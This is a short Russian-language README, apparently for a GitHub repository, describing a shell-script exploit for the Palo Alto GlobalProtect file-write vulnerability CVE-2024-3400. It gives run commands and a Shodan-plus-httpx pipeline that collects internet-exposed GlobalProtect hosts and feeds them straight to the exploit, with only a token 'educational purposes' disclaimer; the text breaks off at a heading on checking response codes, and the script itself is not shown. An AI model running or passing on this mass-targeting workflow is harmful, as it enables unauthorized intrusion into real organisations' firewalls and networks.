ak1t4/cve-2024-3400Эксплойт записи файлов Global Protec Palo Alto
CVE-2024-3400 Palo Alto Эксплойт записи файла
Этот эксплойт ищет экземпляры Global Protect URL и пытается записать файл с помощью CVE-2024-3400
[ Используйте с осторожностью ]
[ Сделано только в образовательных целях ]
Использование:
chmod +x gp-exploit.sh
./gp-exploit.sh file_name_to_write urls.txt
Поиск Shodan и фильтрация URL:
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts
# ./gp-exploit file_name gp.hosts
Проверка кодов состояния ответов:
